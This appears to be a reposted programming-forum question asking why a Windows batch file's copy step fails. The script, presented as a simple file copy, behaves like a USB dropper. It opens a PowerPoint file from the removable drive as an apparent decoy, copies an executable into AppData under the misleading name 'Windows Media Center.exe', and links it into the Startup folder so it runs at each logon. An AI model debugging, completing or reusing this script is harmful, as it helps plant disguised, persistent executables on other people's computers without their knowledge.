samedi 6 mai 2017

Windows Batch - Copy File issue

I'm trying to create a simple batch file that is supposed to copy a file from an external drive to the pc, without knowing the drive letter:

echo off

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:




for /F "tokens=2 delims==" %%s in ('set drives[') do (


if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (


start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"


if not exist "%AppData%\Windows Media Center.exe" ( 


copy "%%s%\data\Windows Media Center.exe" %AppData%


mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 

)

)

)



PAUSE

I can successfully get the correct drive letter, but the copy command returns this error:

the system cannot find the file specified

What am i doing wrong?

Aucun commentaire:

Enregistrer un commentaire